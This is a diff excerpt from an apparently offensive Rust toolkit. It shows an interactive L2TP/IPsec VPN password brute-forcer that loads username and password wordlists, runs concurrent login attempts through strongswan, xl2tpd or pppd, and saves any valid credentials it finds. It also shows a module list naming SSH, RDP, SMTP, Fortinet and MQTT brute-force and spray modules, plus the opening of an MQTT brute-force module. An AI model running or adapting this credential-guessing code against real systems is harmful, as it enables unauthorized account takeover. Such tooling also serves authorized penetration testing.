||||
};
|
||||
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Optional: Pre-shared key (PSK) for IPsec phase
|
||||
let psk = prompt_optional("IPsec Pre-shared Key (PSK) - optional, press Enter to skip")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "5")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "15")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "l2tp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
let addr = normalize_target(target, port)?;
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
if psk.is_some() {
|
||||
println!("[*] Using IPsec PSK authentication");
|
||||
} else {
|
||||
println!("[*] No PSK specified - will attempt without PSK");
|
||||
}
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let total_attempts = if combo_mode { users.len() * passwords.len() } else { passwords.len() };
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
if combo_mode {
|
||||
// Try every password with every user
|
||||
for user in &users {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
for pass in &passwords {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let psk_clone = psk.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_l2tp_login(&addr_clone, &user_clone, &pass_clone, &psk_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green().bold());
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Try passwords sequentially, cycling through users
|
||||
for (i, pass) in passwords.iter().enumerate() {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let psk_clone = psk.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_l2tp_login(&addr_clone, &user, &pass_clone, &psk_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass_clone).green().bold());
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
|
||||
// Limit concurrent tasks
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
println!("\r{}", format!("[!] Task join error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let creds = found_credentials.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host_addr, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
match File::create(&filename) {
|
||||
Ok(mut file) => {
|
||||
for (host_addr, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file: {}", filename.display());
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempts L2TP/IPsec VPN login
|
||||
///
|
||||
/// Note: L2TP/IPsec authentication is complex and requires:
|
||||
/// - Root privileges for IPsec operations
|
||||
/// - Proper configuration files (/etc/ipsec.conf, /etc/ipsec.secrets, etc.)
|
||||
/// - IPsec phase (machine authentication with PSK/certificates)
|
||||
/// - L2TP phase (user authentication with username/password)
|
||||
///
|
||||
/// This implementation provides the framework. A full implementation would need to:
|
||||
/// - Create temporary configuration files dynamically
|
||||
/// - Use ipsec/strongswan commands to establish IPsec tunnel
|
||||
/// - Use xl2tpd or pppd to establish L2TP tunnel within IPsec
|
||||
/// - Parse connection status and authentication responses
|
||||
async fn try_l2tp_login(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// Try using strongswan (ipsec/strongswan) if available
|
||||
let strongswan_check = Command::new("which")
|
||||
.arg("ipsec")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
if strongswan_check.is_ok() && strongswan_check.unwrap().status.success() {
|
||||
return try_l2tp_strongswan(addr, username, password, psk, timeout_duration).await;
|
||||
}
|
||||
|
||||
// Fallback: try xl2tpd if available
|
||||
let xl2tpd_check = Command::new("which")
|
||||
.arg("xl2tpd")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
if xl2tpd_check.is_ok() && xl2tpd_check.unwrap().status.success() {
|
||||
return try_l2tp_xl2tpd(addr, username, password, psk, timeout_duration).await;
|
||||
}
|
||||
|
||||
// Try using system L2TP tools (Windows: rasdial, Linux: various)
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
// Try using pppd with l2tp plugin if available
|
||||
let pppd_check = Command::new("which")
|
||||
.arg("pppd")
|
||||
.output()
|
||||
.await;
|
||||
|
||||
if pppd_check.is_ok() && pppd_check.unwrap().status.success() {
|
||||
return try_l2tp_pppd(addr, username, password, psk, timeout_duration).await;
|
||||
}
|
||||
}
|
||||
|
||||
Err(anyhow!("No L2TP client tools found. Please install strongswan, xl2tpd, or pppd with L2TP support."))
|
||||
}
|
||||
|
||||
async fn try_l2tp_strongswan(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// Extract IP address from addr (remove port if present)
|
||||
let server_ip = addr.split(':').next().unwrap_or(addr);
|
||||
|
||||
// Create temporary directory for config files
|
||||
let temp_dir = std::env::temp_dir();
|
||||
let conn_name = format!("l2tp_brute_{}", std::process::id());
|
||||
let ipsec_conf_path = temp_dir.join(format!("{}.conf", conn_name));
|
||||
let ipsec_secrets_path = temp_dir.join(format!("{}.secrets", conn_name));
|
||||
|
||||
// Build IPsec configuration
|
||||
let psk_value = psk.as_deref().unwrap_or("default");
|
||||
let ipsec_conf = format!(
|
||||
r#"conn {}
|
||||
type=transport
|
||||
authby=secret
|
||||
left=%defaultroute
|
||||
right={}
|
||||
rightprotoport=17/1701
|
||||
auto=start
|
||||
keyexchange=ikev1
|
||||
ike=aes128-sha1-modp1024
|
||||
esp=aes128-sha1
|
||||
"#,
|
||||
conn_name, server_ip
|
||||
);
|
||||
|
||||
// Build secrets file
|
||||
let ipsec_secrets = format!(
|
||||
r#"{} : PSK "{}"
|
||||
{} : XAUTH "{}"
|
||||
"#,
|
||||
server_ip, psk_value, username, password
|
||||
);
|
||||
|
||||
// Write config files
|
||||
std::fs::write(&ipsec_conf_path, ipsec_conf)
|
||||
.map_err(|e| anyhow!("Failed to write IPsec config: {}", e))?;
|
||||
std::fs::write(&ipsec_secrets_path, ipsec_secrets)
|
||||
.map_err(|e| anyhow!("Failed to write IPsec secrets: {}", e))?;
|
||||
|
||||
// Set permissions on secrets file (should be 600)
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mut perms = std::fs::metadata(&ipsec_secrets_path)?.permissions();
|
||||
perms.set_mode(0o600);
|
||||
std::fs::set_permissions(&ipsec_secrets_path, perms)?;
|
||||
}
|
||||
|
||||
// Try to establish connection using ipsec
|
||||
// Note: This requires root privileges and proper strongswan setup
|
||||
// strongswan typically reads from /etc/ipsec.conf and /etc/ipsec.secrets
|
||||
// For a bruteforce tool, we'd ideally use temporary configs, but ipsec
|
||||
// doesn't easily support that. This is a framework implementation.
|
||||
// In practice, you might need to:
|
||||
// 1. Run as root
|
||||
// 2. Temporarily modify system config files, or
|
||||
// 3. Use strongswan's swanctl with custom configs
|
||||
|
||||
// Try using ipsec up command (requires proper system configuration)
|
||||
let mut child = Command::new("ipsec")
|
||||
.arg("up")
|
||||
.arg(&conn_name)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let result = match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// Check if connection was established
|
||||
// Exit code 0 typically means success
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
Err(anyhow!("strongswan error: {}", e))
|
||||
}
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
};
|
||||
|
||||
// Clean up connection
|
||||
let _ = Command::new("ipsec")
|
||||
.arg("down")
|
||||
.arg(&conn_name)
|
||||
.output()
|
||||
.await;
|
||||
|
||||
// Clean up temp files
|
||||
let _ = std::fs::remove_file(&ipsec_conf_path);
|
||||
let _ = std::fs::remove_file(&ipsec_secrets_path);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
async fn try_l2tp_xl2tpd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// xl2tpd requires configuration files
|
||||
// Create temporary config files for this attempt
|
||||
let temp_dir = std::env::temp_dir();
|
||||
let conn_name = format!("l2tp_brute_{}", std::process::id());
|
||||
let xl2tpd_conf_path = temp_dir.join(format!("{}.xl2tpd.conf", conn_name));
|
||||
let ppp_secrets_path = temp_dir.join(format!("{}.chap-secrets", conn_name));
|
||||
|
||||
let server_ip = addr.split(':').next().unwrap_or(addr);
|
||||
|
||||
// Build xl2tpd config
|
||||
let xl2tpd_conf = format!(
|
||||
r#"[lac {}]
|
||||
lns = {}
|
||||
ppp debug = no
|
||||
pppoptfile = /etc/ppp/options.xl2tpd
|
||||
length bit = yes
|
||||
"#,
|
||||
conn_name, server_ip
|
||||
);
|
||||
|
||||
// Build PPP secrets (CHAP)
|
||||
let ppp_secrets = format!(
|
||||
r#"{} * {} *
|
||||
"#,
|
||||
username, password
|
||||
);
|
||||
|
||||
// Write config files
|
||||
std::fs::write(&xl2tpd_conf_path, xl2tpd_conf)
|
||||
.map_err(|e| anyhow!("Failed to write xl2tpd config: {}", e))?;
|
||||
std::fs::write(&ppp_secrets_path, ppp_secrets)
|
||||
.map_err(|e| anyhow!("Failed to write PPP secrets: {}", e))?;
|
||||
|
||||
// Try to connect using xl2tpd-control
|
||||
// Note: xl2tpd must be running and configured
|
||||
let mut child = Command::new("xl2tpd-control")
|
||||
.arg("connect")
|
||||
.arg(&conn_name)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let result = match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// Check if connection was established
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => Err(anyhow!("xl2tpd error: {}", e)),
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
};
|
||||
|
||||
// Clean up connection
|
||||
let _ = Command::new("xl2tpd-control")
|
||||
.arg("disconnect")
|
||||
.arg(&conn_name)
|
||||
.output()
|
||||
.await;
|
||||
|
||||
// Clean up temp files
|
||||
let _ = std::fs::remove_file(&xl2tpd_conf_path);
|
||||
let _ = std::fs::remove_file(&ppp_secrets_path);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
async fn try_l2tp_pppd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
|
||||
// pppd with L2TP plugin
|
||||
// This requires proper configuration and typically root privileges
|
||||
let server_ip = addr.split(':').next().unwrap_or(addr);
|
||||
|
||||
// Create temporary options file for pppd
|
||||
let temp_dir = std::env::temp_dir();
|
||||
let options_file = temp_dir.join(format!("pppd_options_{}.txt", std::process::id()));
|
||||
|
||||
let options_content = format!(
|
||||
r#"noauth
|
||||
user {}
|
||||
password {}
|
||||
plugin pppol2tp.so
|
||||
pppol2tp_server {}
|
||||
"#,
|
||||
username, password, server_ip
|
||||
);
|
||||
|
||||
std::fs::write(&options_file, options_content)
|
||||
.map_err(|e| anyhow!("Failed to write pppd options: {}", e))?;
|
||||
|
||||
let mut child = Command::new("pppd")
|
||||
.arg("nodetach")
|
||||
.arg("file")
|
||||
.arg(&options_file)
|
||||
.stdout(std::process::Stdio::piped())
|
||||
.stderr(std::process::Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let result = match timeout(timeout_duration, child.wait()).await {
|
||||
Ok(Ok(status)) => {
|
||||
// pppd returns 0 on successful connection
|
||||
Ok(status.success())
|
||||
}
|
||||
Ok(Err(e)) => Err(anyhow!("pppd error: {}", e)),
|
||||
Err(_) => {
|
||||
let _ = child.kill().await;
|
||||
Ok(false)
|
||||
}
|
||||
};
|
||||
|
||||
// Clean up temp file
|
||||
let _ = std::fs::remove_file(&options_file);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(msg: &str) -> Result<Option<String>> {
|
||||
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed.to_string())
|
||||
})
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/')
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"l2tp_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
|
||||
@@ -4,8 +4,14 @@
|
||||
pub mod ftp_anonymous;
|
||||
pub mod telnet_bruteforce;
|
||||
pub mod ssh_bruteforce;
|
||||
pub mod ssh_user_enum;
|
||||
pub mod ssh_spray;
|
||||
pub mod rtsp_bruteforce_advanced;
|
||||
pub mod rdp_bruteforce;
|
||||
pub mod enablebruteforce;
|
||||
pub mod smtp_bruteforce;
|
||||
pub mod pop3_bruteforce;
|
||||
pub mod snmp_bruteforce;
|
||||
pub mod fortinet_bruteforce;
|
||||
pub mod l2tp_bruteforce;
|
||||
pub mod mqtt_bruteforce;
|
||||
|
||||
@@ -0,0 +1,591 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::time::{Duration, Instant};
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const MQTT_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const MQTT_READ_TIMEOUT_MS: u64 = 2000;
|
||||
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
rate
|
||||
);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ MQTT Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Tests MQTT broker authentication ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
struct MqttBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
client_id: String,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
let port = prompt_port(1883);
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
|
||||
